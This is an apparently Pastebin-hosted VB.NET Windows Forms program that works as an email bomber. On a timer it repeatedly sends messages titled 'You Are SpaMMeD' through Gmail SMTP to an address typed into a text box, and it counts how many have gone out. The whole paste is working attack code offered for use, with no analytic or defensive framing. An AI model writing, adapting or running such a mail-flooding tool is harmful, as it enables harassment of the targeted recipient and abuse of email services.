Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Net
- Imports System.Net.Mail
- Public Class main
- Sub SendMail()
- Try
- Dim Mail As New MailMessage
- Mail.Subject = "You Are SpaMMeD"
- Mail.To.Add(TextBox1.Text)
- Mail.From = New MailAddress("yourE-mail@gmail.com") 'Your email address
- Mail.Body = "SpaM SpaM SpaM" 'Body of your message..
- Dim SMTP As New SmtpClient("smtp.gmail.com")
- SMTP.EnableSsl = True
- SMTP.Credentials = New System.Net.NetworkCredential("yourE-mail@gmail.com", "your password here") 'Enter your information here
- SMTP.Port = "587"
- SMTP.Send(Mail)
- Catch ex As Exception
- send.Stop()
- MessageBox.Show("ERROR")
- End Try
- End Sub
- Dim i As Integer
- Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles send.Tick
- Dim t As New Threading.Thread(New Threading.ThreadStart(AddressOf SendMail))
- t.Start()
- i = i + 1
- s.Text = "Emails Sent: " & i
- End Sub
- Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
- Button1.Enabled = False
- TextBox1.Enabled = False
- sendInterval.Enabled = False
- send.Start()
- send.Interval = sendInterval.Value
- End Sub
- Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click
- Button1.Enabled = True
- TextBox1.Enabled = True
- sendInterval.Enabled = True
- send.Stop()
- End Sub
- Private Sub Form1_FormClosed(sender As System.Object, e As System.Windows.Forms.FormClosedEventArgs) Handles MyBase.FormClosed
- End
- End Sub
- Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement